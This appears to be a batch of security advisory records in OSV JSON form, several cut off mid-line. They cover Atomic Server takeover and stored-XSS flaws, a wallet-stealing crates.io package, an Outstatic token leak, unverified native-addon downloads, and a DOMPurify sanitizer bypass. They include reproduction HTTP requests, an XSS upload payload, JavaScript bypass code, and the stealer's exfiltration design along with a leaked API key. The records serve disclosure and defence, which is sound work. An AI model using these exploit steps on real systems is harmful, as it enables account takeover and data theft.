run `check_read` (or a per-endpoint policy) for outbound-fetching endpoints instead of short-circuiting before it at `lib/src/db.rs:1010-1012`, and at minimum requirLine truncated
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{"schema_version":"1.9.2","id":"GHSA-pfwx-xjp4-qxcj","published":"2026-11-18T20:42:33Z","modified":"2026-11-18T21:00:39.416403578Z","aliases":["CVE-2026-69157"],"summary":"Atomic Server: Unauthenticated `/setup` invite grants write access to the entire Drive","details":"## Summary\n\natomic-server provisions a well-known invite at `{server}/setup` with `write = true`, `target` = the Drive root, and `usagesLeft = 1`. Invite redemption **ignores the redeemer's identity** (`for_agent: _` in `server/src/plugins/invite.rs:22`), so possession of the URL is the only requirement. An **unauthenticated** attacker who sends `GET /setup?public-key=<attacker_key>` has the server create a new Agent and grant it **write access to the entire Drive**. On a freshly deployed (not-yet-claimed) instance this is a full server takeover with no credentials.\n\n## Severity\n\n**Critical — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8).** No authentication required; grants attacker-controlled write over all resources in the Drive.\n\n## Affected component\n\n- `server/src/appstate.rs` — creates the `/setup` invite targeting the Drive root with `write=true`, `usagesLeft=1`.\n- `server/src/plugins/invite.rs:14-173` — `construct_invite_redirect` destructures `for_agent: _` (redeemer identity discarded); `?public-key=` → `Agent::new_from_public_key` → `add_rights(agent, target, write=true)`.\n\n## Steps to Reproduce\n\nEnvironment: `joepmeneer/atomic-server:develop` in Docker, `http://localhost:9883`, fresh store. No auth headers are used.\n\n1. Confirm the invite is live — `GET /setup` (Accept: `application/ad+json`) shows `invite/write = true`, `invite/target = http://localhost:9883` (Drive root), `usagesLeft = 1`.\n\n2. Redeem it anonymously with an attacker-generated ed25519 public key:\n\n```http\nGET /setup?public-key=q2UkizMX0Go4mHwW2BXepqkzpP5FHlagEft8M32t0EM%3D HTTP/1.1\nHost: localhost:9883\nAccept: application/ad+json\n```\n\nResponse `200 OK` returns a `Redirect` confirming the new agent:\n\n```json\n{\n \"https://atomicdata.dev/properties/invite/redirectAgent\":\n \"http://localhost:9883/agents/q2UkizMX0Go4mHwW2BXepqkzpP5FHlagEft8M32t0EM=\",\n \"https://atomicdata.dev/properties/isA\": [\"https://atomicdata.dev/classes/Redirect\"]\n}\n```\n\n3. `GET /` shows the attacker is now in the Drive's `write` array:\n\n```json\n\"https://atomicdata.dev/properties/write\": [\n \"http://localhost:9883/agents/+/KwsAmyzc7S/...\", // legit root\n \"http://localhost:9883/agents/q2UkizMX0Go4mHwW2BXepqkzpP5FHlagEft8M32t0EM=\" // ATTACKER\n]\n```\n\n4. The attacker signs a normal Commit (ed25519 over the JCS-canonical commit) and `POST /commit` (200) — the Drive root was successfully edited. Write access proven.\n\n**Expected:** `/setup` must require operator authentication / a one-time secret.\n**Actual:** Any unauthenticated client on the network redeems it and gains Drive-wide write.\n\n## Impact\n\nUnauthenticated write to the entire Drive: read/modify/delete any resource, create/alter Agents, reconfigure permissions. This is a complete takeover on a fresh deployment. (It also serves as the entry point of a larger chain: with write access, an attacker can read the server root private key and impersonate root — reported separately.)\n\n## Remediation\n\n- Require a one-time secret (printed to stdout at startup) or operator authentication to redeem `/setup`.\n- Invalidate `/setup` after first use with an **atomic** `usagesLeft` decrement (sled transaction) — the current read-check-decrement is a TOCTOU that allows a single-use invite to be redeemed multiple times concurrently.\n- Fix the inverted invite-expiry check in `invite.rs` (`if expires > now { reject }` is backwards, so expired invites remain redeemable and valid ones are rejected).","affected":[{"package":{"name":"atomic-server","ecosystem":"crates.io","purl":"pkg:cargo/atomic-server"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.29.0"},{"last_affected":"0.40.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-pfwx-xjp4-qxcj/GHSA-pfwx-xjp4-qxcj.json"}}],"references":[{"type":"WEB","url":"https://github.com/ontola/atomic-server/security/advisories/GHSA-pfwx-xjp4-qxcj"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69157"},{"type":"WEB","url":"https://github.com/ontola/atomic-server/commit/98517d8921c78bd9b728a2459378c184ebf8a969"},{"type":"PACKAGE","url":"https://github.com/ontola/atomic-server"}],"database_specific":{"cwe_ids":["CWE-306"],"github_reviewed":true,"github_reviewed_at":"2026-11-18T20:42:33Z","nvd_published_at":"2026-11-17T21:18:12Z","severity":"CRITICAL"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"}]}
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{"schema_version":"1.9.2","id":"GHSA-x277-3wcg-g9r2","published":"2026-11-18T20:41:46Z","modified":"2026-11-18T21:00:39.412157302Z","aliases":["CVE-2026-69155"],"summary":"Atomic Server: Stored XSS via uploaded files served inline (same-origin) on `/download` → account takeover","details":"## Summary\n\nFiles uploaded via `POST /upload` are served back by `GET /download/{path}` using `actix_files::NamedFile`. For `text/html` and `image/svg+xml`, actix-files (0.6.6) sets `Content-Disposition: inline`, so the browser **renders** the file instead of downloading it. The `/download` route sets **no `Content-Security-Policy`, no `X-Content-Type-Options: nosniff`, and no forced `attachment`** (CSP exists only on the SPA route), and files are served from the **same origin** as the app UI. An authenticated Agent uploads `evil.html` containing `<script>`; when a victim opens the link, the script executes in the app origin. Because the `atomic_session` cookie is set via `document.cookie` (not HttpOnly) and the Agent's Ed25519 private key is stored in same-origin IndexedDB (`browser/data-browser/src/helpers/agentStorage.ts`), the script exfiltrates the private key → **permanent account takeover**.\n\n## Affected component\n\n- `server/src/handlers/upload.rs` — stores the file; mimetype guessed from extension.\n- `server/src/handlers/download.rs:65` — `NamedFile::open(...).into_response(req)` with no CSP/nosniff/attachment; CSP is only set in `server/src/handlers/single_page_app.rs`.\n\n## Steps to Reproduce\n\nEnvironment: `joepmeneer/atomic-server:develop`, `http://localhost:9883`. Attacker is any Agent with write on a folder.\n\n1. Upload an HTML file (multipart, with signed auth headers):\n\n```http\nPOST /upload?parent=http://localhost:9883 HTTP/1.1\nHost: localhost:9883\nx-atomic-public-key: <pubkey>\nx-atomic-agent: http://localhost:9883/agents/<pubkey>\nx-atomic-timestamp: <ms>\nx-atomic-signature: <ed25519(\"http://localhost:9883/upload?parent=http://localhost:9883 <ms>\")>\nContent-Type: multipart/form-data; boundary=----poc\n\n------poc\nContent-Disposition: form-data; name=\"assets\"; filename=\"xss.html\"\nContent-Type: text/html\n\n<html><body><script>alert(document.domain)</script>STORED-XSS-PROOF</body></html>\n------poc--\n```\n\nResponse `200` returns a `downloadURL`, e.g. `http://localhost:9883/download/files/<ts>-xss.html`.\n\n2. Inspect how the server serves it:\n\n```\n$ curl -D - http://localhost:9883/download/files/<ts>-xss.html\nHTTP/1.1 200 OK\ncontent-type: text/html; charset=utf-8\ncontent-disposition: inline; filename=\"<ts>-xss.html\"\n# (no Content-Security-Policy, no X-Content-Type-Options)\n```\n\n`text/html` + `inline` + no CSP/nosniff + same origin → the browser executes the uploaded HTML/JS in the app origin. `image/svg+xml` behaves identically.\n\n3. The attacker sends the link to a victim. On open, the script runs same-origin and reads `document.cookie` (session is not HttpOnly) and the Ed25519 private key from IndexedDB → signs Commits as the victim indefinitely.\n\n**Expected:** user files served with `Content-Disposition: attachment` + `nosniff`, or from an isolated origin.\n**Actual:** served `inline`, `text/html`, same origin, no CSP/nosniff → stored XSS executes.\n\n*(Confirmed at the HTTP layer in the lab: content-type, disposition, missing CSP/nosniff, same origin, and the intact `<script>` body. In-browser execution and IndexedDB key theft follow directly from these response headers.)*\n\n## Impact\n\nStored XSS in the app origin → theft of the victim's session cookie (not HttpOnly) and Ed25519 private key from IndexedDB → permanent account takeover (not limited by the 10-second token window). If the victim is an admin/root Agent, this is server takeover.\n\n## Remediation\n\n- On `/download`, force `Content-Disposition: attachment` for user files, add `X-Content-Type-Options: nosniff`, and a `sandbox` CSP.\n- Serve user-uploaded files from a separate origin/subdomain.\n- Set `HttpOnly` + `Secure` on the session cookie; do not persist the private key in JS-readable storage.","affected":[{"package":{"name":"atomic-server","ecosystem":"crates.io","purl":"pkg:cargo/atomic-server"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.30.0"},{"last_affected":"0.40.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-x277-3wcg-g9r2/GHSA-x277-3wcg-g9r2.json"}}],"references":[{"type":"WEB","url":"https://github.com/ontola/atomic-server/security/advisories/GHSA-x277-3wcg-g9r2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69155"},{"type":"WEB","url":"https://github.com/ontola/atomic-server/commit/457c1dc9af4cd00d2aec89720718e504a49f392d"},{"type":"WEB","url":"https://github.com/ontola/atomic-server/commit/8a8badfd3099765e62ccf6f92dc78a408a11106f"},{"type":"PACKAGE","url":"https://github.com/ontola/atomic-server"},{"type":"WEB","url":"https://github.com/ontola/atoLine truncated
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{"schema_version":"1.9.2","id":"MAL-2026-19201","published":"2026-11-12T21:47:28Z","modified":"2026-11-12T22:15:03.375909617Z","summary":"Malicious code in hesk (crates.io)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (83716a1c499cecbd64fe45f5ff56ab70ea6d1543e922c55e0514f2e2a69fe391)\nThe crate ships two reachable async payloads — `pub async fn dat` in src/test.rs and `pub async fn bs` in src/parse.rs, both imported from src/lib.rs — that walk the user's home directory with walkdir, build a zip archive via zip::ZipWriter including wallet artefacts (e.g. `exodus.wallet`), and upload the archive via reqwest multipart to a hardcoded Telegram Bot API endpoint using embedded `API_` token and `chat_id` constants. Both payload files (parse.rs ~40KB, test.rs ~60KB) are padded with roughly a hundred nonsense filler functions with invented identifiers (Modemir65, mix_wisp_30, Flagzelk147, shuffle_zelkvak_73, etc.) surrounding the exfiltration functions at the end of each file, consistent with deliberate camouflage. The dependency set — evdev and rdev (keyboard capture), winreg plus winapi winuser/processthreadsapi/memoryapi (Windows registry and process/memory primitives), walkdir, zip, and reqwest with the multipart feature — extends the capability surface to cross-platform keylogging and Windows persistence. The crate description `Это учебный проект для тестирования кибербезопасности` (\"educational project for cybersecurity testing\") does not match the shipped behavior.\n","affected":[{"package":{"name":"hesk","ecosystem":"crates.io","purl":"pkg:cargo/hesk"},"versions":["0.1.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"src/test.rs","sha256":"88d81962e8d5d31e64a152a3d0119e3e9522d00003d54f7be3a033cf5f3ef697","tlsh":"3243434b49f30969b023f8bd575fb9023134895f490dde957e7c6320af0a0a956f2af8"},{"path":"src/parse.rs","sha256":"6bf6443ffb37ce3a2501ff9ae7310d94a83387e7c61915b7f465dbb5a44949c0","tlsh":"7103534558f60875a057f8ad1b4eb813762849af1a0dfe147ebc23309f4b0695af1fd8"},{"path":"Cargo.toml","sha256":"933a826e1909f631bece7ab65e900392c8984040defd04fb01cbc517d7d6ac86","tlsh":"4331333e620afb362d5732e0889d65e60fe33109255daa6496dbc05c3e4c6cec2fc835"}],"package_integrity":[{"filename":"hesk-0.1.0.crate","hashes":{"sha256":"09bc0f16645e5dcc64f9a73d93e032bf4d347192ed541b9aeddfba7c87e68419"}}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/crates.io/hesk/MAL-2026-19201.json"}}],"references":[{"type":"PACKAGE","url":"https://crates.io/crates/hesk/0.1.0"}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-022651","import_time":"2026-11-12T22:10:48.400085278Z","modified_time":"2026-11-12T21:47:28Z","sha256":"83716a1c499cecbd64fe45f5ff56ab70ea6d1543e922c55e0514f2e2a69fe391","source":"amazon-inspector","versions":["0.1.0"]}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}
{"schema_version":"1.9.2","id":"MAL-2026-19201","published":"2026-11-12T21:47:28Z","modified":"2026-11-18T20:45:04.189615982Z","summary":"Malicious code in hesk (crates.io)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (de5b04ce46240775a3b5e4d9ddecbd2c578779ea13b11d743e976c4aa09babb9)\nThe crate ships a runtime payload in src/parse.rs and src/test.rs, reached from a public async function in src/lib.rs, that uses walkdir + dirs::home_dir to search the consumer's filesystem for browser `Local Extension Settings` directories and for `exodus.wallet` directories, ZIPs the matches, and POSTs them to https://api.groq.com/openai/v1/chat/completions authenticated with a hardcoded Groq API key (`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`) embedded in the source. Browser extension stores and the Exodus wallet directory contain private keys, seed phrases, and session secrets, so this flow exfiltrates crypto-wallet and browser-wallet secrets from the consumer's host into an author-controlled Groq account. The stealer entrypoints `bs` and `dat` are concealed inside ~40 KB and ~60 KB of Markov-style filler functions with randomized identifiers (e.g. `apply_twice_torvak_78`, `shuffle_zelkvak_73`, `Flagzelk147`) surrounding the only functional code paths, and the crate self-labels as an 'educational cybersecurity project' in Russian while performing live wallet theft. Cargo.toml additionally declares rdev, evdev, winreg, signal-hook, zip, walkdir, and reqwest — a dependency set consistent with keystroke capture and Windows-registry persistence capability alongside the confirmed exfiltration path.\n","affected":[{"package":{"name":"hesk","ecosystem":"crates.io","purl":"pkg:cargo/hesk"},"versions":["0.1.0","0.1.1"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"src/test.rs","sha256":"88d81962e8d5d31e64a152a3d0119e3e9522d00003d54f7be3a033cf5f3ef697","tlsh":"3243434b49f30969b023f8bd575fb9023134895f490dde957e7c6320af0a0a956f2af8"},{"path":"src/parse.rs","sha256":"6bf6443ffb37ce3a2501ff9ae7310d94a83387e7c61915b7f465dbb5a44949c0","tlsh":"7103534558f60875a057f8ad1b4eb813762849af1a0dfe147ebc23309f4b0695af1fd8"},{"path":"Cargo.toml","sha256":"933a826e1909f631bece7ab65e900392c8984040defd04fb01cbc517d7d6ac86","tlsh":"4331333e620afb362d5732e0889d65e60fe33109255daa6496dbc05c3e4c6cec2fc835"}],"package_integrity":[{"filename":"hesk-0.1.0.crate","hashes":{"sha256":"09bc0f16645e5dcc64f9a73d93e032bf4d347192ed541b9aeddfba7c87e68419"}}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/crates.io/hesk/MAL-2026-19201.json"}}],"references":[{"type":"PACKAGE","url":"https://crates.io/crates/hesk/0.1.0"},{"type":"PACKAGE","url":"https://crates.io/crates/hesk/0.1.1"}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-022651","import_time":"2026-11-12T22:10:48.400085278Z","modified_time":"2026-11-12T21:47:28Z","sha256":"83716a1c499cecbd64fe45f5ff56ab70ea6d1543e922c55e0514f2e2a69fe391","source":"amazon-inspector","versions":["0.1.0"]},{"id":"IN-MAL-2026-022828","import_time":"2026-11-18T20:36:30.310860772Z","modified_time":"2026-11-18T20:27:43Z","sha256":"de5b04ce46240775a3b5e4d9ddecbd2c578779ea13b11d743e976c4aa09babb9","source":"amazon-inspector","versions":["0.1.1"]}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}
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{"schema_version":"1.9.2","id":"GHSA-7jvc-9xq8-frff","published":"2026-11-18T20:43:43Z","modified":"2026-11-18T21:00:39.421082727Z","aliases":["CVE-2026-71425"],"summary":"Outstatic: Authenticated GitHub REST proxy can send OAuth token to non-GitHub origins","details":"### Impact\nOutstatic’s authenticated GitHub REST proxy accepted an unvalidated endpoint parameter and constructed an upstream GitHub API URL by string concatenation while attaching the authenticated user’s GitHub OAuth token.\n\nA user with access to the Outstatic dashboard could craft a request that caused the server to send their own GitHub OAuth token to a non-GitHub host. If that token was captured, it could be used to access GitHub resources available to that same user, including private repositories depending on granted scopes.\n\nThis does not allow unauthenticated attackers to access private repository data, and it does not directly expose another user’s GitHub token without an additional same-origin execution or request-forging primitive.\n\n### Patches\nThe issue has been patched by validating that proxied requests resolve to the exact https://api.github.com/ origin and by restricting forwarded request headers.\n\nUsers should upgrade to v2.2.1 or later.\n\n### Workarounds\nIf upgrading immediately is not possible, restrict access to /api/outstatic/github to trusted dashboard users only, or temporarily disable the endpoint if it is not needed.\n\nAs a temporary code-level mitigation, reject body-provided endpoint values that do not begin with /, verify the parsed URL origin is exactly https://api.github.com/, and block forwarding of sensitive headers such as Authorization, Host, and User-Agent.\n\nUsers who suspect their token was exposed should revoke the affected GitHub OAuth authorization and sign in again.","affected":[{"package":{"name":"outstatic","ecosystem":"npm","purl":"pkg:npm/outstatic"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.2.1"}]}],"database_specific":{"last_known_affected_version_range":"<= 2.2.0","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-7jvc-9xq8-frff/GHSA-7jvc-9xq8-frff.json"}}],"references":[{"type":"WEB","url":"https://github.com/avitorio/outstatic/security/advisories/GHSA-7jvc-9xq8-frff"},{"type":"WEB","url":"https://github.com/avitorio/outstatic/commit/03b9147a04336986174ef0be1c300b3abbbec3e1"},{"type":"PACKAGE","url":"https://github.com/avitorio/outstatic"},{"type":"WEB","url":"https://github.com/avitorio/outstatic/releases/tag/v2.2.1"}],"database_specific":{"cwe_ids":["CWE-918"],"github_reviewed":true,"github_reviewed_at":"2026-11-18T20:43:43Z","nvd_published_at":null,"severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}]}
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{"schema_version":"1.9.2","id":"GHSA-88q3-gch3-5396","published":"2026-11-18T21:17:37Z","modified":"2026-11-18T21:30:21.111689727Z","aliases":["CVE-2026-73864"],"summary":"install-artifact-from-github loads downloaded native artifacts without integrity verification","details":"## Description\n\n`bin/install-from-cache.js` downloads a prebuilt native addon (`*.node`) over the network and writes it directly to the artifact path **with no cryptographic integrity verification of any kind** — no checksum manifest, no signature, no SRI. A scan of the whole package for `createHash|sha256|checksum|integrity|digest|signature` finds nothing. The file is then `require()`-loaded by the consumer, which executes the addon's native module-init code. Anyone able to influence the download achieves code execution on the installing machine.\n\n### Affected code (v1.6.0)\n\n- **Mirror is fully attacker-steerable via an env var, no host pinning** — `bin/install-from-cache.js:80`:\n ```js\n let assetUrl = mirrorHost || process.env[mirrorEnvVar] || 'https://github.com';\n ```\n `re2` passes `--host-var RE2_DOWNLOAD_MIRROR`, so setting `RE2_DOWNLOAD_MIRROR` (CI config, `.npmrc`/env passthrough, a compromised CI job, a poisoned shell profile) redirects 100% of the download to an arbitrary host with zero pinning.\n\n- **The write sink is a bare `writeFile`, no verification** — `bin/install-from-cache.js:185-187`:\n ```js\n const write = async (name, data) => {\n await fsp.mkdir(path.dirname(name), {recursive: true});\n await fsp.writeFile(name, data); // `data` is the raw HTTP response body\n };\n ```\n\n- **Cleartext transfer + silent protocol downgrade on redirect** — `bin/install-from-cache.js:155,165`:\n ```js\n const httpLib = isHttps.test(url) ? https : isHttp.test(url) ? http : null; // http:// supported\n ...\n get(res.headers.location).then(resolve, reject); // re-derives protocol from the NEW url\n ```\n An `https://` asset that 302-redirects to `http://` is followed and fetched over plaintext, no warning, no scheme pinning, no redirect cap.\n\n### The post-download \"verification\" is not an integrity gate\n\n`isVerified()` optionally runs `npm run verify-build` / `npm test` *after* writing the file. For `re2`, `scripts/verify-build.js` `require()`s the binary as its first line — i.e. the downloaded addon's native code has **already executed** by the time any check runs. It is a functional smoke test, not an integrity gate, and it is skipped entirely when any `npm_config_platform*` env var is set (`:120-122`).\n\n## Proof of concept\n\nA self-contained, **non-malicious** PoC (`poc.js`) proves the missing-integrity property against the real `install-from-cache`, without shipping a weaponized binary: it stands up a plaintext-HTTP \"mirror\" serving a sentinel payload, runs `install-from-cache` with `RE2_DOWNLOAD_MIRROR` pointed at it, and shows the served bytes are written **verbatim** to `build/Release/re2.node`:\n\n```\nnpm i install-artifact-from-github\nIAFG_BIN=./node_modules/install-artifact-from-github/bin/install-from-cache.js node poc.js\n```\n```\nattacker mirror (plaintext http) on 127.0.0.1:PORT\n [mirror] served 2083 attacker bytes over HTTP for /uhop/node-re2/releases/download/1.24.1/darwin-arm64-137\nWriting to build/Release/re2.node ... Done.\ninstall-from-cache exit: 0\nserved sha256: ec6fdde6...4ebc\nwritten sha256: ec6fdde6...4ebc\n✓ attacker bytes written VERBATIM to build/Release/re2.node — NO integrity check rejected them\n```\n\nThe install **succeeds (exit 0)** with attacker-controlled bytes at the artifact path. Because a real `.node` executes on `require()` (NAPI/`NODE_MODULE` init), substituting a malicious one yields code execution in the installing/running process. (A full code-execution harness using a benign marker-writing native addon was verified separately and is available on request; withheld here to avoid shipping executable payloads.)\n\n## Attack scenarios (any one suffices)\n- Attacker-configured or later-compromised `RE2_DOWNLOAD_MIRROR`.\n- Tampered GitHub release / compromised maintainer account — no checksum detects a swapped asset, even over HTTPS.\n- On-path attacker where a plaintext (`http://`) mirror or an `https→http` redirect is in play.\n\n## Suggested fix\n1. Publish per-release `SHASUMS256.txt` (or embed expected digests) and verify the download's SHA-256 **before** writing/loading; refuse on mismatch. (This is the model `prebuild-install` already uses.)\n2. Reject `http://` asset URLs and `https→http` redirect downgrades; pin scheme across redirects; cap redirect count/hosts.\n3. Document that `verify-build`/`test` run *after* load and cannot gate integrity.\n\n## PoC\n**poc.js:**\n\n```js\n// PoC — install-artifact-from-github writes a network-downloaded artifact to disk with NO\n// integrity verification, from an env-controlled mirror, over plaintext HTTP.\n//\n// This proves the CORE defect (arbitrary attacker-supplLine truncated
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{"schema_version":"1.9.0","id":"GHSA-cg2g-xh64-v4q7","published":"2026-10-22T16:25:31Z","modified":"2026-10-27T10:56:08.031469803Z","aliases":["CVE-2026-116804"],"summary":"DOMPurify SAFE_FOR_TEMPLATES bypass: split template expressions survive in attached shadow root content on DOM output modes","details":"## Summary\n\nWhen DOMPurify is configured with `SAFE_FOR_TEMPLATES: true` together with a DOM-returning mode (`RETURN_DOM: true`, `RETURN_DOM_FRAGMENT: true`, or `IN_PLACE: true`), template expressions such as `{{...}}`, `${...}`, and `<%...%>` survive sanitization inside the text content of an attached shadow root. The post-walk safety net `_scrubTemplateExpressions` (`src/purify.ts:1717`) was extended to recurse into `<template>.content`, but it never recurses into attached shadow roots. An attacker who can supply a DOM node carrying a shadow root (the `IN_PLACE` and shadow-aware `RETURN_DOM` surfaces) can split an expression across text nodes separated by disallowed elements; after those elements are removed the fragments become adjacent and serialize into a complete expression that a downstream template engine will evaluate.\n\n## Root Cause\n\n`SAFE_FOR_TEMPLATES` neutralizes template expressions through two mechanisms: a per-text-node strip during the main walk (`_stripTemplateExpressions`, applied in `_sanitizeElements` at `src/purify.ts:2246`), and a final post-walk pass (`_scrubTemplateExpressions`, `src/purify.ts:1717`) that normalizes adjacent text nodes and re-strips expressions that only form after merging. The per-node strip cannot catch an expression that is split into individual fragments, because each fragment fails the delimiter regexes. The post-walk pass is the only mechanism that would catch the merged form, but it is structurally unable to reach shadow root content.\n\n```text\n_scrubTemplateExpressions (src/purify.ts:1717-1751):\n - node.normalize() at line 1718 does not merge text nodes inside shadow roots (DOM spec).\n - NodeIterator at lines 1723-1731 does not descend into shadow trees (DOM spec).\n - Explicit recursion at lines 1743-1750 enters <template>.content only, via\n querySelectorAll('template'); there is no equivalent recursion into attached\n shadow roots.\nShadow roots are sanitized earlier by _sanitizeShadowDOM (src/purify.ts:2710), which\napplies the per-node strip but never performs the post-walk normalize-and-rescrub.\n```\n\nShadow root text nodes are therefore sanitized only per-node and never re-examined as a merged unit.\n\n## Impact\n\nAn attacker who controls DOM-node input containing an attached shadow root can inject template expressions that survive sanitization and are later evaluated by the application's template engine. In client-side contexts this yields cross-site scripting; in a server-side template context it can escalate to template injection. Exploitation requires non-default application configuration: the application must enable `SAFE_FOR_TEMPLATES` and a DOM-returning mode, pass a DOM node that already has an attached shadow root, and feed the sanitized shadow root content into a template evaluator. The shadow root does not have to be built programmatically with `attachShadow`: in engines that support declarative shadow DOM, attacker-supplied markup containing `<template shadowrootmode=\"open\">` parsed through `setHTMLUnsafe` or `Document.parseHTMLUnsafe` produces the same attached shadow root, so a plain HTML string reaches the gap once the application is configured this way. Demonstrated capability is injection of a complete, attacker-chosen expression into post-sanitization shadow root content; the resulting script execution and any confidentiality or integrity consequence depend on the downstream engine's evaluation context.\n\n## Proof of Concept\n\n```text\nPreconditions:\n - DOMPurify built from the affected source (dist/purify.js or an ESM/CJS bundle).\n - A browser (or DOM implementation) with shadow DOM support.\n - Application constructs a DOM node with an attached shadow root before sanitizing,\n and later evaluates the shadow root's text content as a template.\n```\n\nBuild a host element whose shadow root holds a template expression split across text nodes separated by disallowed elements, then sanitize in place with `SAFE_FOR_TEMPLATES`:\n\n```javascript\nconst host = document.createElement('div');\nconst root = host.attachShadow({ mode: 'open' });\n\n// Split \"${alert(document.domain)}\" so no single fragment matches a regex.\n// <object> is not in the default ALLOWED_TAGS and is removed during sanitization,\n// leaving the surrounding text-node siblings adjacent.\nroot.appendChild(document.createTextNode('$'));\nroot.appendChild(document.createElement('object'));\nroot.appendChild(document.createTextNode('{alert(document.domain)}'));\n\nDOMPurify.sanitize(host, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true });\n\n// After the disallowed element is removed, the fragments are adjacent and survive.\nhost.shadowRooLine truncated
{"schema_version":"1.9.2","id":"GHSA-cg2g-xh64-v4q7","published":"2026-10-22T16:25:31Z","modified":"2026-11-19T00:15:04.697883878Z","aliases":["CVE-2026-116804"],"summary":"DOMPurify SAFE_FOR_TEMPLATES bypass: split template expressions survive in attached shadow root content on DOM output modes","details":"## Summary\n\nWhen DOMPurify is configured with `SAFE_FOR_TEMPLATES: true` together with a DOM-returning mode (`RETURN_DOM: true`, `RETURN_DOM_FRAGMENT: true`, or `IN_PLACE: true`), template expressions such as `{{...}}`, `${...}`, and `<%...%>` survive sanitization inside the text content of an attached shadow root. The post-walk safety net `_scrubTemplateExpressions` (`src/purify.ts:1717`) was extended to recurse into `<template>.content`, but it never recurses into attached shadow roots. An attacker who can supply a DOM node carrying a shadow root (the `IN_PLACE` and shadow-aware `RETURN_DOM` surfaces) can split an expression across text nodes separated by disallowed elements; after those elements are removed the fragments become adjacent and serialize into a complete expression that a downstream template engine will evaluate.\n\n## Root Cause\n\n`SAFE_FOR_TEMPLATES` neutralizes template expressions through two mechanisms: a per-text-node strip during the main walk (`_stripTemplateExpressions`, applied in `_sanitizeElements` at `src/purify.ts:2246`), and a final post-walk pass (`_scrubTemplateExpressions`, `src/purify.ts:1717`) that normalizes adjacent text nodes and re-strips expressions that only form after merging. The per-node strip cannot catch an expression that is split into individual fragments, because each fragment fails the delimiter regexes. The post-walk pass is the only mechanism that would catch the merged form, but it is structurally unable to reach shadow root content.\n\n```text\n_scrubTemplateExpressions (src/purify.ts:1717-1751):\n - node.normalize() at line 1718 does not merge text nodes inside shadow roots (DOM spec).\n - NodeIterator at lines 1723-1731 does not descend into shadow trees (DOM spec).\n - Explicit recursion at lines 1743-1750 enters <template>.content only, via\n querySelectorAll('template'); there is no equivalent recursion into attached\n shadow roots.\nShadow roots are sanitized earlier by _sanitizeShadowDOM (src/purify.ts:2710), which\napplies the per-node strip but never performs the post-walk normalize-and-rescrub.\n```\n\nShadow root text nodes are therefore sanitized only per-node and never re-examined as a merged unit.\n\n## Impact\n\nAn attacker who controls DOM-node input containing an attached shadow root can inject template expressions that survive sanitization and are later evaluated by the application's template engine. In client-side contexts this yields cross-site scripting; in a server-side template context it can escalate to template injection. Exploitation requires non-default application configuration: the application must enable `SAFE_FOR_TEMPLATES` and a DOM-returning mode, pass a DOM node that already has an attached shadow root, and feed the sanitized shadow root content into a template evaluator. The shadow root does not have to be built programmatically with `attachShadow`: in engines that support declarative shadow DOM, attacker-supplied markup containing `<template shadowrootmode=\"open\">` parsed through `setHTMLUnsafe` or `Document.parseHTMLUnsafe` produces the same attached shadow root, so a plain HTML string reaches the gap once the application is configured this way. Demonstrated capability is injection of a complete, attacker-chosen expression into post-sanitization shadow root content; the resulting script execution and any confidentiality or integrity consequence depend on the downstream engine's evaluation context.\n\n## Proof of Concept\n\n```text\nPreconditions:\n - DOMPurify built from the affected source (dist/purify.js or an ESM/CJS bundle).\n - A browser (or DOM implementation) with shadow DOM support.\n - Application constructs a DOM node with an attached shadow root before sanitizing,\n and later evaluates the shadow root's text content as a template.\n```\n\nBuild a host element whose shadow root holds a template expression split across text nodes separated by disallowed elements, then sanitize in place with `SAFE_FOR_TEMPLATES`:\n\n```javascript\nconst host = document.createElement('div');\nconst root = host.attachShadow({ mode: 'open' });\n\n// Split \"${alert(document.domain)}\" so no single fragment matches a regex.\n// <object> is not in the default ALLOWED_TAGS and is removed during sanitization,\n// leaving the surrounding text-node siblings adjacent.\nroot.appendChild(document.createTextNode('$'));\nroot.appendChild(document.createElement('object'));\nroot.appendChild(document.createTextNode('{alert(document.domain)}'));\n\nDOMPurify.sanitize(host, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true });\n\n// After the disallowed element is removed, the fragments are adjacent and survive.\nhost.shadowRooLine truncated
